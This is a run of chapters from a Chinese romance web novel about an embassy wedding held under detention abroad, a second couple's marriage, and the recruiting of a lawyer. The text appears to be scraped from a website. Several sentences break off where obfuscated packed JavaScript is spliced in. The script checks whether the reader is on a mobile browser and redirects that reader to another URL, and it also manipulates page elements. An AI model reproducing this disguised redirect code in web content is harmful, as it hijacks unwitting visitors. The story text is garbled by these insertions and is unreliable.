楼梦玲和林书函，两位母亲，更是背过身去，偷偷抹着眼泪。 陆沉渊走过来，摸了摸妹妹的头。 “好了，不哭了。” “你哥我，还没死呢。” 陆芊芊抬起头，泪眼婆娑地看着他，又哭又笑，狠狠捶了他一拳。 “哥！你也是！你吓死我了！” 一家人，终于在这异国他乡的“牢笼”里团聚了。 虽然场景，如此的荒诞。 却又如此的，温暖。 …… 婚礼定在第二天。 地点就在夏国驻J国大使馆。 这里，是夏国的领土。 神圣，不容侵犯。 没有繁复的仪式，没有成百上千的宾客。 甚至，没有洁白的婚纱。 墨清漓只是穿了一件林书函从夏国带过来的传统红罗裙。 红罗裙衬得墨清漓肤白胜雪，风华绝代。 陆沉渊则是一身简单的红色新式盘扣礼服。 他身形挺拔得像一柄出鞘的利剑。 婚礼的见证人，也不过数人。 两位母亲，楼梦玲和林书函。 妹妹陆芊芊和姬无双。 以及，担任主婚人的李文博大使。 大使馆的小礼堂里，布置得简单而庄重。 只有一面鲜艳的国旗，悬挂在正中央。 李文博大使站在国旗下，看着眼前这对新人，神情肃穆而感慨。 他主持过很多活动，见证过很多历史性的时刻。 但没有哪一次，像今天这样让他心潮澎湃。 这不是一场普通的婚礼。 这是一场，在全世界的注视下，在敌人的炮火中举行的盟誓。 是两个夏国最优秀儿女的，最勇敢，最浪漫，也最悲壮的抗争。 “陆沉渊先生，你愿意娶墨清漓女士为妻，无论顺境逆境，贫穷富贵，健康疾病，都爱她，守护她，对她不离不弃，直到永远吗？” 陆沉渊转过身，凝视着墨清漓。 他的眼神，温柔得像一片海洋。 “我，陆沉渊，娶你，墨清漓，为我唯一的妻子。” 他的声音，沉稳而清晰。 “从今天起，你的枷锁，就是我的。” “你的自由，就是我的余生。” “我将留在这里，直到我们一起，回家。” 他没有说“我愿意”。 他给出的，是一个以身为诺的誓言。 墨清漓的眼泪，在眼眶里打转，却始终没有落下。 她只是微笑着，看着他。 李文博大使转向她。 “墨清漓女士，你愿意嫁给陆沉渊先生为夫，无论顺境逆境，贫穷富贵，健康疾病，都爱他，支持他，对他不离不弃，直到永远吗？” “我，墨清漓，嫁你，陆沉渊，为我唯一的丈夫。” 她的声音，同样坚定。 “风暴中心，便是港湾。” “有你在的地方，就是家。” “我信你，我与你，同在。” 然后是交换戒指。 依然是那枚，陆沉渊亲手制作的锡绣指环。 当他将这枚独特的戒指戴在她的无名指上时，她脚踝上的电子镣铐，仿佛成了一个滑稽的讽刺。 镣铐锁得住她的脚步，却锁不住她的心，更锁不住她的爱。 “我宣布，陆沉渊先生，墨清漓女士，正式结为夫妻。” 李文博大使的声音，带着一丝激动。 “祝你们，新婚快乐，白头偕老。” 礼堂里，响起了稀疏却无比真诚的掌声。 两位母亲和陆芊芊，早已泣不成声。 陆沉渊拥抱了妻子。 一个克制，却包含了千言万语的拥抱。 没有香槟，没有蛋糕。 婚礼的最后，陆沉渊通过大使馆向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那么，自己呢？ 第118章 风起时，宜相拥 林远看着屏幕上，并肩而战的陆沉渊和墨清漓。 他的脑海里浮现出的另一张同样骄傲而坚韧的脸。 任茜。 自从那次在云顶阁，他亲眼目睹了钱闪闪的背叛，任茜帮他快刀斩乱麻之后，他们顺理成章地走到了一起。 没有轰轰烈烈的告白，也没有什么浪漫的仪式。 就像两个在战场上并肩作战多年的士兵，在一次战斗的间隙，自然而然地握住了对方的手。 他们太熟悉彼此了。 熟悉到，一个眼神就能明白对方的想法。 他们也很忙。 一个掌管着“连山”，在国际供应链的丛林里冲杀。 一个执掌着“汗青”，在基础科学的无人区里拓荒。 他们是陆沉渊计划里，最重要的两翼。 他们也习惯了这种状态。 每天早出晚归，在各自的战场上厮杀，只有在深夜里，彼此才能见上一面，说几句话。 他们都觉得，这样很好。 他们都以为，他们还有很多时间。 可是，当看到陆沉渊和墨清漓的婚礼时，林远的心第一次被一种陌生的恐慌，紧紧攫住。 那是一种害怕失去的恐惧。 他忽然发现，他和任茜，与之前的陆沉渊和墨清漓，何其相似。 他们守着同一份事业，有着同样坚固的感情基础，却谁也没有开口，去捅破那最后一层窗户纸。 他们在等什么？ 等“连山”和“汗青”都成为庞然大物？ 等他们都站上事业的顶峰？ 等他们都老了？ 如果，意外先于明天到来呢？ 林远不敢再想下去。 他从椅子上站起来，拿过搭在椅背上的外套。 “下午的会，全部取消。”他对走进来的助理说。 “可是林总，和A洲芯片联盟的视频会议……” “取消。” 林远打断了他，语气不容置疑。 他大步流星地走出办公室。 有些事，他现在就要去做。 立刻，马上! …… 汗青科技的总部大楼，充满了冷峻的工业风和未来感。 这里没有喧闹的商业气息，只有安静的走廊，和一个个挂着复杂科研项目名称的实验室。 空气里，都仿佛飘浮着代码和公式的味道。 林远的车，停在了楼下。 他没有上楼，只是坐在车里，静静地看着那栋大楼。 他知道，任茜此刻一定在开会。 她的作风，他最了解。 一旦进入工作状态，就是一台不知疲倦的精密机器。 他不想打扰她。 他愿意等。 就像过去那么多年，他默默地，等她从对陆沉渊的仰望中，回过头来一样。 他拿出手机，又看了一遍那场婚礼的新闻。 他看着陆沉渊，在全世界的注视下，将那枚锡绣指环戴在墨清漓的手上。 那一刻，陆沉渊的眼神，不是科技帝王，不是商业巨擘。 只是一个，害怕失去妻子，并愿意为此付出一切的丈夫。 林远退出了新闻页面，点开了和任茜的聊天框。 上面最新的记录，还是今天早上。 任茜发来的：“早餐记得吃。” 他回的：“好，你也是。” 简单，平淡，像一对老夫老妻。 可林远知道，这不够。 远远不够。 他要给她的，不应该只是清晨的问候和深夜的陪伴。 他要给她一个，也是给自己，堂堂正正的名分。 一个，无论未来是**，还是岁月静好，都能和她并肩站在一起的身份。 不知道过了多久。 林远看到汗青科技大楼里，陆续有人走出来。 看样子，会议结束了。 他深吸一口气，推开车门，走了进去。 前台的接待自然认识他，立刻站了起来。 “林总，您来了。需要我通知任总吗？” “不用了，谢谢。”林远微笑着摇了摇头，“我在这里等她就好。” 他走到一旁的会客区，坐了下来。 他不想让自己的突然到访，显得像是某种“突击检查”。 这是他对她的尊重。 又是半个小时过去，任茜终于结束了最后的工作。 她揉着有些发胀的太阳穴，走出了办公室。 她今天开了一整天的会。 一个关于高能物理粒子对撞模拟的底层算法项目遇到了瓶颈。 任茜听一群科学家吵了一下午，自己也居中调节了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我以前总觉得，时间还很多。”林远看着她，眼神里充满了复杂的情绪。 “我们还有很多事要做，很多仗要打。” “我总觉得，先把仗打完了，再来考虑我们自己的事，也来得及。” 任茜没有说话。 她知道，这也是她自己的想法。 “可我今天才发现，我错了。” 林远的眼神，变得无比认真。 “错得离谱。” “学姐，我不想再等了。” “我不想，等到哪一天，也像老陆那样，在失去的边缘，才懂得后悔。” 他上前一步，拉住了任茜的手。 他的手心全是汗，却将她的手握得很紧，很用力。 仿佛怕一松手，她就会消失一样。 任茜的心，被他的话，被他掌心的温度，狠狠地烫了一下。 她看着眼前的男人。 看着他眼中，那份浓得化不开的情意，和那份小心翼翼的，害怕被拒绝的忧虑。 这个在感情上，曾经迟钝得像块木头的男人。 原来，他什么都懂。 他只是，在用自己的方式笨拙地爱着她。 “任茜。” 他终于叫了她的名字。 然后，他用最简单，也最直接的话，说出了他此行的目的。 “我们结婚吧。” 没有单膝跪地，没有鲜花钻戒。 只有一句，朴实无华的请求。 却比任何华丽的辞藻，都更能击中任茜的心。 她看着他，看着他眼中的紧张和期待。 那颗因为常年征战而变得坚硬的心，在这一刻彻底地软了下来。 她没有犹豫。 甚至没有一丝一毫的考虑。 她忽然展颜一笑。 那笑容，像冬日里的暖阳，瞬间驱散了办公室里所有的冷硬和疲惫。 “好啊。” 她说。 声音，清脆，利落。 带着她独有的，女王般的爽快。 林远的身体，猛地一僵。 他像是没听清一样，呆呆地看着她。 “你……你说什么？” “我说，好啊。”任茜笑着重复了一遍，反手握紧了他的手。 “户口本我随身带着，现在就去，还来得及。” 下一秒。 林远一把将她，紧紧地，拥入了怀中。 他抱得很用力，几乎要把她揉进自己的骨血里。 仿佛只有这样，才能确认眼前的一切不是梦。 任茜靠在他的胸口，听着他擂鼓般的心跳声。 她闭上眼睛，嘴角是抑制不住的上扬。 原来，放下执念，奔向那个一直在原地等自己的人，是这样一种踏实而温暖的感觉。 …… 哥都，皇家大酒店。 顶层总统套房。 夕阳的余晖，透过巨大的落地窗洒满了整个客厅。 陆沉渊正坐在沙发上，手里拿着一根眉笔，笨拙地在墨清漓的眉毛上比划着。 “别动。”他的语气，前所未有的专注。 仿佛他面对的，不是妻子的眉毛，而是一个精度达到纳米级的芯片光刻项目。 墨清漓靠在他的怀里，强忍着笑意。 “陆总，你确定你不是想给我画一道闪电吗？” “第一次，没经验。”陆沉渊的声音很平静，但耳根处却泛起了一丝可疑的红色。 自从结婚后，他们就过上了这种近乎与世隔绝的生活。 J国官方的态度上，对他们客气得近乎谄媚，却又在无形中布下了天罗地网。 酒店外，二十四小时都有记者和眼线。 他们成了这座城市里，最尊贵也最不自由的囚徒。 但这似乎，并没有影响到两人的心情。 陆沉渊放下了所有的工作，第一次像个普通的丈夫一样，学着照顾妻子的起居。 做饭，洗衣，打扫卫生。 甚至，开始研究如何给妻子化妆。 而墨清漓，也乐得享受这份偷来的悠闲。 她靠着陆沉渊，看着他认真的侧脸，心里一片安宁。 管他外面惊涛骇浪。 只要这个人在身边，这里就是最安稳的港湾。 就在这时，陆沉渊的私人电话响了起来。 铃声在安静的套房里，显得有些突兀。 陆沉渊皱了皱眉。 这个号码，只有最核心的几个人知道。 他放下眉笔，拿起电话。 看到屏幕上跳动的“林远”两个字，他的眉头，皱得更深了。 林远知道他的规矩。 如果不是天塌下来的大事，绝不会在这个时间打过来。 难道是“连山”或者“汗青”出事了？ 他的心，瞬间提了起来。 “喂？”他接起电话，声音沉稳，带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348565|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝郑重。 墨清漓也感受到了气氛的变化，脸上的笑意收敛，关切地看着他。 电话那头，传来的却不是紧急的汇报。 而是一道，压抑着狂喜和激动，甚至有些语无伦次的声音。 “老陆！老陆！我……我成功了！” 陆沉渊愣住了。 成功了？成功了什么？ 是某个关键技术的突破？还是拿下了哪个重要的订单？ “说重点。”他沉声说。 “我跟任茜求婚了！她答应了！我们马上就去领证！”林远的声音，像个考了一百分，迫不及待要向家长炫耀的孩子。 陆沉渊握着电话，彻底呆住了。 他甚至下意识地，看了一眼手机屏幕，确认自己没有听错。 足足过了五秒钟。 他脸上那份紧绷的，属于“渊龙帝王”的严肃表情，才慢慢地、一点点地融化开来。 最后，嘴角勾起了一抹发自内心的欣慰笑意。 “知道了。” 他只是淡淡地，回了三个字。 但那语气里，却带着一丝作为兄长般的调侃和欣慰。 墨清漓看着他的表情，已经猜到了大概，也忍不住笑了起来。 “行了，”陆沉渊对着电话说，“抓紧办正事，别耽误人家民政局下班。” “还有，回来以后，喜酒加倍。” 挂断电话。 陆沉渊脸上的笑意，还未散去。 他看着怀里的墨清漓，心情前所未有的轻松。 “林远和任茜，要结婚了。” “我听到了。”墨清漓笑道，“看来，我们的婚礼，还是有点积极作用的。” “嗯。”陆沉渊点了点头，随即，像是想到了什么，又补了一句。 “臭小子，还不算太傻。” “知道有样学样。” 墨清漓被他这副老气横秋的评价，逗得笑出了声。 她伸出手，勾住他的脖子。 “那我是不是也该夸夸你？” “陆总，学得不错。” 陆沉渊看着她近在咫尺的，带着促狭笑意的眼睛，心头一动。 他没有再拿起那根眉笔。 而是低下头，吻住了她的唇。 窗外，哥都的夜景，已经亮起了万家灯火。 璀璨，繁华，却又冰冷。 而在这座华丽牢笼的最顶端，春意在弥漫。 第120章 化被动为主动 早上，陆沉渊和墨清漓正坐在餐桌上吃饭。 陆沉渊似乎是不经意地说道， “清漓，我们被困在这里是意外。”陆沉渊顿了顿，接着说， “但，未必是绝境。” 墨清漓抬起头，静静地看着他。 这个男人，无论身处何种境地，他的大脑，永远在高速运转，寻找破局的棋眼。 “我想了想。”陆沉渊伸手轻轻摩挲着她的手背， “这或许是一个机会。” “一个，让我彻底从渊龙的符号里，走出来的机会。” 墨清漓的心，微微一动。 她明白了他话里的意思。 “去个人化？”她问。 “对。”陆沉渊点头，“一家伟大的公司，一个强大的产业，不能永远系于一人之身。” “过去，我在，是渊龙的定海神针，也是无形的天花板。” “所有人都习惯了依赖我的判断，我的决策。” “长此以往，他们会失去独立思考和野蛮生长的能力。” “现在，我被困在这里。对渊龙，对汗青和连山，对林远和任茜他们所有人来说，都是一场最严酷的，也是最好的成人礼。” 陆沉渊顿了顿，将目光投向窗外J国的城市轮廓。 “而我，也有了新的战场。” “J国，就是我的新战场。” “我要在这里，用两三年的时间，把它从A国的棋子，变成一个可以争取的中立者。” “我要把我自己，变成撬动J国未来的那个支点。” 陆沉渊的声音很平静，却蕴含着一种足以撼动山岳的力量。 墨清漓安静地听着，她看着眼前这个男人，看着他眼中闪烁的是运筹帷幄的星光。 她知道，他说的每一个字，都是他深思熟虑后的战略。 但她也知道，这番话里，同样藏着一份对她的安慰。 他怕她因为被囚禁而消沉，怕她因为脚上的镣铐而失去希望。 所以，他为她，也为他自己，描绘了一个比“洗清冤屈”更宏大，更有挑战性的目标。 这个男人，永远都知道，如何将逆境转化为棋局。 墨清漓伸出手，抚平他微微蹙起的眉头。 “好。”墨清漓说，“我陪你。” “不管这里是牢笼，还是战场，我都陪你一起。” 陆沉渊的心，瞬间被暖流包裹。 他低下头，轻轻吻了吻她的额头。 “委屈你了。” “不委屈。”墨清漓摇了摇头，靠在他的肩膀上，“有你在的地方，就是家。” …… 陆沉渊和墨清漓的婚后第二天，全球的媒体还在疯狂解读陆沉渊那份“暂居哥都”的声明。 各种猜测，甚嚣尘上。 有人说这是以退为进的谈判策略。 有人说这是被逼无奈的**豪赌。 没有人能想到，身处风暴眼中的陆沉渊，已经开始了他人生的下半场布局。 他婉拒了除夏国使馆以外的一切探视和采访。 整个人，仿佛真的进入了“隐居”状态。 但在一条经过加密的卫星通讯线路上，他的指令正精准地传向世界各地。 第一个电话，打给了张奇。 “张奇，启动‘涌泉’计划。” 电话那头的张奇，声音一如既往的沉稳。 “明白，陆总。资金已经开始分批次，通过不同渠道转入。” “很好。”陆沉渊说道，“在L国，注册一个全新的信托基金。” “基金的受益人，设定为渊龙、汗青、连山的核心员工委员会。” “我要在三年内，将我个人名下持有的所有股份，逐步注入这个基金。” “我要让渊龙，彻底成为一家，没有实际控制人的公司。” 张奇在那边沉默了片刻。 他跟了陆沉渊这么多年，最清楚这个决定意味着什么。 陆沉渊，正在亲手“献出”他一手打造的，价值万亿的商业帝国。 “陆总，您……” “执行命令。”陆沉渊打断了他。 “是。”张奇不再多问。 他知道，老板的每一个决定背后，都有着他无法企及的深意。 “还有一件事。”陆沉渊继续说道。 “帮我找一个人。” “在J国，哥都。” “他叫芦谨麟，是一位夏裔大律师。” “我不要你派人去接触他，我需要他所有的资料。越详细越好。包括他的生平，他的家庭，他的社会关系，甚至他喜欢喝什么茶。” “明白。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348566|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>挂断电话，陆沉渊看向正在不远处，处理墨氏集团文件的墨清漓。 他要做的第一步，就是在这片陌生的土地上，找到一个最可靠的法律上的盟友。 而这个盟友，必须是一个，能听懂他宏大叙事的人。 京州，民政局。 红色的背景墙前，林远和任茜并肩而坐。 闪光灯亮起，将两张带着笑意的脸，定格在小小的照片上。 任茜看着手里的两个红本本，嘴角忍不住上扬。 她做事，向来雷厉风行。 昨天林远求婚后，她直接从随身的包里，拿出了户口本。 两人当晚就想来领证，紧赶慢赶，结果赶到时，民政局已经下班。 于是今天一早，他们就成了这里的第一对新人。 没有通知任何人，没有鲜花，没有仪式。 只有他们两个人。 从民政局出来，阳光正好。 林远握着任茜的手，看着她脸上明媚的笑容，感觉像是做梦一样。 “这就……结婚了？”他还有些恍惚。 “不然呢？”任茜白了他一眼，“林总，后悔了？” “没有！”林远立刻摇头，将任茜的手握得更紧，“就是觉得，太快了，像偷来的一样。” “本来就是偷来的。”任茜笑道，“从工作里偷来的时间。” 任茜停下脚步，转过身，认真地看着他。 “林远，婚礼我就不要了。” “现在这个时期，我们不能，也不应该，有任何铺张浪费。” “老陆和清漓还在J国，我们在这里敲锣打鼓，也不合适。” “等将来，我们打胜了这场战，再补也来得及。” 林远点了点头，他明白。 “但是，”任茜话锋一转，“有一个小范围的饭，必须吃。” “不是仅仅为了我们自己。” “也是为了公司，为了所有还在坚守的人。” 林远瞬间领悟。 “我明白。告诉大家，我们都在，天，塌不下来。” “对。”任茜笑了，“走吧，林太太请林先生去吃早餐，然后，回公司上班。” 林远看着她，眼中满是宠溺和欣赏。 这就是他爱的女人。 永远清醒，永远知道什么最重要。 第121章 猛龙过江 林远和任茜领证的当天晚上。 渊龙科技总部附近，一家不对外开放的顶级私房菜馆。 包厢里，只坐了三十个人左右。 林远，任茜，张奇，陆若溪，苏阳，还有一些渊龙、汗青和连山最核心的部门负责人。 这是渊龙科技真正的，大脑中枢。 林远和任茜站了起来，手里端着茶杯。 “今天请大家来，没别的事。”林远开口道。 “就是告诉大家一个消息，我和任茜，领证了。” 包厢里，先是一静，随即爆发出热烈的掌声和口哨声。 陆若溪和苏阳笑得最开心。 “林哥！茜姐！恭喜恭喜！” “这杯我必须敬你们！”张奇也站了起来，脸上是真诚的笑容。 任茜抬手，轻轻压了压。 众人地掌声停了下来。 所有人的目光，都聚焦在任茜身上。 “我知道，这个时候，本不该谈私事。”任茜的目光，扫过在场的每一个人。 “老陆和清漓姐，以身为饵，将自己困在了J国。” “他们为我们，争取了最宝贵的喘息之机。” “我们能做的，也是唯一要做的，就是守好这个家。” 她举起茶杯。 “今天这杯，是喜酒。” “更是我们的军令状。” “老陆在，渊龙是渊龙。” “老陆不在，我们，就是渊龙。” “渊龙的节奏，不会变。汗青的研发，不会停。连山的冲锋，更不会慢。” 任茜的声音掷地有声，每一个字都敲在众人的心上。 所有人都站了起来。 脸上没有了嬉笑，取而代之的是前所未有的凝重和决绝。 他们看着林远，看着任茜。 从这一刻起，这对新人，不再仅仅是他们的同事和朋友。 而是这艘巨轮，在惊涛骇浪中的新船长。 陆沉渊的“缺席”，没有让团队分崩离析。 反而像一块试金石，炼出了最坚韧的凝聚力。 渊龙科技的“后陆沉渊时代”，在这一晚，悄然拉开了序幕。 ………… J国，哥都。 时间在平静中缓缓流淌。 陆沉渊和墨清漓的生活，进入了一种奇特的规律。 白天，他们像一对真正的“隐居”夫妻。 陆沉渊会花很多时间在厨房。 他研究J国当地的食材，学着做各种复杂的料理。 他的学习能力极强，短短几周，厨艺已经堪比专业厨师。 墨清漓则偶尔会处理一些墨家和渊龙科技的一些非核心文件。 她脚上冰冷的电子镣铐，与身上舒适的居家服，形成一种荒诞的对比。 到了晚上，这座“牢笼”，才会变成真正的指挥中心。 陆沉渊会和张奇、林远他们进行加密通话，听取国内的进展，下达新的指令。 墨清漓则在陆沉渊的帮助下，开始研究J国盘根错节的法律体系和权力结构。 她要为自己，也为陆沉渊，找到那条看不见的破局之路。 这天下午，陆沉渊刚炖好一锅松茸鸡汤，门铃就响了。 来人是夏国驻J国大使，李文博。 他是唯一能自由进出这里的人。 “陆先生，陆太太。”李文博大使的脸上带着一丝凝重。 “大使请坐。”陆沉渊为他倒了一杯茶。 “J国方面，最近有些小动作。”李文博开门见山， “他们似乎想加快对陆太太的司法程序，A国在背后施加了很大的压力。” 墨清漓的心微微一沉。 陆沉渊却显得很平静。 “意料之中。”他说，“他们想速战速决，把我们这块烫手的山芋尽快处理掉。” “是的。”李文博点头，“所以，在法律层面，我们必须尽快找到一个强有力的支点。” 他说着，从公文包里，拿出一份文件。 “这是你要的，关于芦谨麟律师的全部资料。” 陆沉渊接了过来，没有立刻打开。 “大使先生，我想请您帮一个忙。” “请说。” “我想约芦律师见一面。”陆沉渊说道，“不是在使馆，也不是在这里。” “找一个安静的茶室，非正式的见面。” 李文博看着他，眼中闪过一丝赞许。 他明白了陆沉渊的意思。 这不是一次委托，而是一次平等的寻求合作的对话。 “我来安排。”李文博大使点头应下。 …… 两天后。 哥都市中心，一间名为“静心阁”夏国风格的茶室。 这里是芦谨麟的私人产业，古色古香，极为雅致。 陆沉渊和墨清漓，提前十分钟到达。 墨清漓脚上的镣铐，被一条特制的长裙，巧妙地遮盖住。 隐约若现的电子微光，依然提醒着她不自由的处境。 很快，包厢的门被推开。 一位身穿灰色唐装，头发花白，精神矍铄的老者走了进来。 他就是芦谨麟。 J国法律界的传奇，夏裔群体中德高望重的领袖。 他的眼神，锐利而平和，带着岁月沉淀下来的智慧。 “陆先生，陆太太。”他微微颔首，算是打了招呼。 “芦律师，请坐。”陆沉渊起身，亲自为他沏茶。 芦谨麟坐下，目光落在陆沉渊身上，带着一丝审视。 他见过太多有钱有势的人。 但他面前的这个年轻人，却有些不同。 他明明身陷囹圄，眼神里却没有丝毫的焦虑和慌乱。 那份从容，不像是装出来的。 “陆先生找我，是为了令夫人的案子吧。”芦谨麟开门见山。 他不喜欢绕圈子。 “是，也不是。”陆沉渊将一杯茶，推到他面前。 芦谨麟的眉梢，微不可察地挑了一下。 “愿闻其详。” 陆沉渊没有谈案情，没有谈证据，更没有谈律师费。 他看着 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“因为，我们不团结，我们没有足够的力量，保护自己。” 芦谨麟沉默了。 他放下了茶杯，长长地叹了一口气。 “陆先生，你说的，我都懂。” “但J国，是欧裔的天下。我们能做什么？” “星星之火，可以燎原。”陆沉渊看着他，一字一句地说道。 “一个人的声音，很微弱。但一万个人，十万个人的声音，就足以让整个国家倾听。” “我需要一个支点，芦律师。” “一个能将这盘散沙，凝聚起来的支点。” “您，在J国夏裔中，德高望重，一呼百应。” “我的案子，是一个契机。一个让所有夏裔看到，我们必须团结起来，否则下一个受害的，可能就是他们自己的契机。” “我想请您，帮的不是我陆沉渊，也不是我的妻子墨清漓。” “我请您，帮我们整个在J国的夏裔群体，争一个未来。” 包厢里，陷入了长久的寂静。 芦谨麟看着眼前的年轻人。 他终于明白，他为什么如此从容。 因为他的格局，早已超越了自身的困境。 他不是来求一个律师帮他脱罪。 他是来寻一个盟友，下一盘关乎整个族群命运的大棋。 茶室里陷入沉默，良久之后，芦谨麟才缓缓地端起了面前的茶杯。 他一饮而尽。 “陆先生。”他抬起头，苍老的眼中，重新燃起了火焰。 “这个案子，我接了。” “不是为了钱。” “是为了你刚才说的那句话。” “为我们的子孙后代，争一个，不再任人宰割的未来。” 陆沉渊站起身，向他深深地鞠了一躬。 墨清漓也站了起来，眼中是无尽的敬佩和感动。 第123章 桃花源 哥都地下午时光，变得格外漫长。 墨清漓处理完一些必须她亲自过目的文件后，便觉得无所事事。 她看到陆沉渊正坐在沙发上，拿着一个平板，在研究J国的历史。 墨清漓走过去，挨着陆沉渊坐下，身子恨不得黏到陆沉渊地身上，声音有些慵懒，甚至带着一丝甜腻， “阿渊，我有点无聊。” 陆沉渊放下平板，看着她：“想做什么？” 墨清漓歪着头，想了想。 她又看着窗外，哥都繁华的城市天际线。 一个毫不相关地念头在墨清漓地脑里闪过，然后，墨清漓翘起嘴角说道，“我想看星星。” 这是一个有些任性的要求。 在这座光污染严重的国际都市，尤其是在这间被严密监控的酒店套房里。 看星星，有时候也是一种奢侈的愿望。 陆沉渊却没有丝毫的犹豫，马上回答道，“好。” 然后，陆沉渊拿起电话，打给了李文博大使。 他没有提任何过分的要求，只是说，想借用一下使馆的天文望远镜。 李文博大使在电话那头沉默了片刻，便笑着答应了。 他知道，这是陆沉渊在向他，也是向J国方面传递一个信号。 他无意对抗，只想安稳度日。 当天晚上。 一架专业级别的天体望远镜，被送到了套房。 工作人员在巨大的露台上，将它安装调试好。 夜幕降临。 陆沉渊牵着墨清漓的手，走到露台。 他调整好角度，让她凑到目镜前。 “看到了吗？” 墨清漓的呼吸，瞬间停滞了。 在放大了一百倍的视野里，一颗颗璀璨的星辰，像钻石一样，洒在漆黑的天鹅绒上。 遥远，神秘，却又近在咫尺。 墨清漓甚至能看到月球表面那凹凸不平的环形山，以及环形山的内部结构、山脉和沟纹等。 “好美。”她由衷地感叹。 陆沉渊从身后抱着她，下巴抵着她的头顶。 “是啊。”他轻声说。 他没有看星星。 他的眼里，只有她的倒影。 “阿渊，你说我们以后可以到这些星星上去吗？” “可以的。” “那，阿渊会陪我一起去吗?” “当然会地。” “那可不许骗我！” “你知道的，我从来不骗你的。” 两人就在露台上，依偎着，看了很久很久。 直到夜深，起了风。 陆沉渊将她打横抱起，走回卧室。 “清漓。”他将她轻轻放在床上，替她盖好被子。 “嗯？” “以后，你想做什么，都告诉我。” “只要我能做到，我都给你。” 墨清一愣。 她看着他认真的眼神，忽然笑了。 那笑容，像一朵在夜色中悄然绽放的昙花。 “如果，我说我想看极光呢？”她故意刁难他。 “那我就想办法，把极光的影像，投到我们卧室的天花板上。”陆沉渊想都没想，就回答。 墨清漓笑得更开心了。 她知道，他不是在说笑。 这个男人，真的会这么做。 她伸出手，勾住他的脖子，将他拉向自己。 “陆总，奖励你一下。” 她的吻，带着星光的味道，和一丝卸下所有防备后的甜。 …… 日子，就在这样平静而甜蜜的节奏中，一天天过去。 陆沉渊的谋划，在看不见的地方，有条不紊地进行着。 而他的生活重心，却完全放在了墨清漓身上。 他好像要把过去那些年亏欠她的陪伴，全都补回来。 他会陪她看老电影，从黑白默片，看到经典的文艺爱情片。 他会为她读诗，用他那富有磁性的嗓音，念着那些古老而浪漫的句子。 他甚至，学会了调酒。 在每一个夜晚，为她调上一杯，独一无二的鸡尾酒。 墨清漓也在悄然发生着变化。 她身上那股女王般的，锐利和冷硬，渐渐被柔和与温婉所取代。 她开始变得爱笑。 有时候，会因为陆沉渊笨拙地给她修剪指甲而笑个不停。 有时候，会像个调皮的女孩，故意在他的菜里，放很多很多的醋。 然后看着他皱着眉头，却依然面不改色地吃下去。 她发现，原来依赖一个人是这样一种踏实而温暖的感觉。 她不需要再时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348569|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻保持警惕，不需要再事事都冲在最前面。 因为她知道，无论发生什么。 这个男人，都会为她撑起一片天。 这天。 两人赖在床上，一整天都没有起来。 窗帘紧闭，房间里光线昏暗。 只有彼此的呼吸声，清晰可闻。 墨清漓枕着陆沉渊的手臂，手指，在他的胸口，无意识地画着圈。 “阿渊。” “嗯。” “你说，这场扣押，对我们来说，到底是一场劫难，还是一次解脱？”她忽然问。 她感觉，自己像是被从那个高速运转的世界里强行拽了出来。 然后，被扔进了这样一个只有爱与陪伴的桃花源。 有时候，她甚至会恍惚，会觉得就这样过一辈子也挺好。 陆沉渊收紧手臂，将她抱得更紧。 他知道，墨清漓心里的矛盾。 “清漓。”他吻了吻她的发顶。 “人生，没有绝对的好与坏，也没有纯粹的得与失。” “就像一枚硬币，有正面，就有反面。” “我们失去了自由，却得到了彼此朝夕相处的时光。” “我们远离了国内的战场，却在这里，开辟了新的天地。” “所以，不要去定义它。” “我们只需要，去经历它，感受它。” “人生的每一个瞬间，都是独一无二的，都是珍贵而不可重复的。” “我们只要，好好地，珍重它，就够了。” 墨清漓静静地听着。 她抬起头，看向陆沉渊。 他的眼睛，在昏暗的光线里，亮得惊人。 那里面，是洞悉一切的智慧和深不见底的温柔。 她忽然明白了。 